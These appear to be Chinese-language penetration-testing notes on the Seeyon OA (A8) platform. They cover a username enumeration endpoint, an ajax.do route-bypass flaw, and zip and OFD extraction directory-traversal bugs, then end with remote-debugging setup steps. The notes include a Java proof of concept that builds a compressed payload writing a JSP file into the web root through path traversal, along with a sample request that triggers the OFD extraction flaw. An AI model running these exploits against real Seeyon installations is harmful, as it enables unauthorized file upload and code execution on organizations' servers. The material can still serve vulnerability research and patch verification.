用户名遍历

/seeyon/rest/password/retrieve/send/username
通过绑定来遍历用户是否存在

高版本中设置加密传输，修改请求为post+json

 /seeyon/rest/password/retrieve/send

ajax.do权限绕过

分析文章:某OA ajax.do处漏洞分析

低版本常见漏洞，通过解析差异来绕过路由限制，文中给出autoinstall.do路由来绕过
poc:
生成gzip数据

import com.seeyon.ctp.common.log.CtpLogFactory;

public class fileToExcelManagerPayload {
    private static final Log LOGGER = CtpLogFactory.getLog(fileToExcelManagerPayload.class);
    public static void main(String[] args) {
 
        DataRecord d = new DataRecord();
        String[] c = {"\"\r\n"+"<% out.println(\"ttttttttt\"); %>"+"\"\r\n"};
        d.setColumnName(c);
        String dd = JSONUtil.toJSONString(d);
        final ArrayList<Object> list = new ArrayList<>();
        list.add("../webapps/ROOT/x.jsp");
        list.add("\"\"");
        list.add(d);
        final String list1 = JSONUtil.toJSONString(list);
        String strArgs = ZipUtil.compressResponse(list1, "gzip", "UTF-8", LOGGER);
        System.out.println(URLEncoder.encode(strArgs));
        System.out.println("end");
 
    }
}

后台文件解压

原理都是低权限用户上传zip时，解压时目录穿越上传jsp
跟ofd不同在于一次性完成，且调用接口不同

上传数据包构造:

调用save时会保存id，可以跟ofd配合，部分则只是上传

ofd解压漏洞

需要普通用户权限，本质是zip解压目录穿越，v8以上的版本基本修复
上传还是老接口
上传后获取id，搜索fileurls=fileurls，后面就是id了
解压接口

Content-Length: 63
 
arguments=["-7373142480696292225"]&managerMethod=getOfdMetadata

还可以试试这个接口，区别不大

A8安装

先启动s1 agent，然后通过web页面启动a8服务
开启远程调试在ApacheJetspeed\bin\startup.bat里增加一行SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000，重启a8服务
